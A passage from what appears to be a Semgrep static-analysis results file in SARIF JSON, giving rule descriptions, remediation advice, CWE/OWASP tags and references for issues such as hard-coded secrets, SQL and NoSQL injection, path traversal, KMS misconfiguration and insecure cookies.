attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret)\n - [https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY](https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret","id":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","name":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.hashids-with-django-secret.hashids-with-django-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","id":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","name":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express","id":"javascript.express.db.mongodb-express.mongodb-express","name":"javascript.express.db.mongodb-express.mongodb-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-express.mongodb-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","id":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","name":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"help":{"markdown":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","id":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","name":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","id":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","name":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"help":{"markdown":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","id":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","name":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django)\n - [https://docs.djangoproject.com/en/5.0/topics/db/sql/](https://docs.djangoproject.com/en/5.0/topics/db/sql/)\n - [https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django","id":"python.django.db.djangoorm-django.djangoorm-django","name":"python.django.db.djangoorm-django.djangoorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.djangoorm-django.djangoorm-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","id":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","name":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","id":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","name":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","id":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","name":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","id":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","name":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"help":{"markdown":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization)\n - [https://www.owasp.org/index.php/Deserialization_of_untrusted_data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)\n - [https://www.oracle.com/java/technologies/javase/seccodeguide.html#8](https://www.oracle.com/java/technologies/javase/seccodeguide.html#8)\n","text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization","id":"java.lang.security.audit.object-deserialization.object-deserialization","name":"java.lang.security.audit.object-deserialization.object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.object-deserialization.object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password","id":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","name":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-empty-password.mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","id":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","name":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"help":{"markdown":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"helpUri":"https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering","id":"bash.lang.security.ifs-tampering.ifs-tampering","name":"bash.lang.security.ifs-tampering.ifs-tampering","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.lang.security.ifs-tampering.ifs-tampering"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","id":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","name":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: 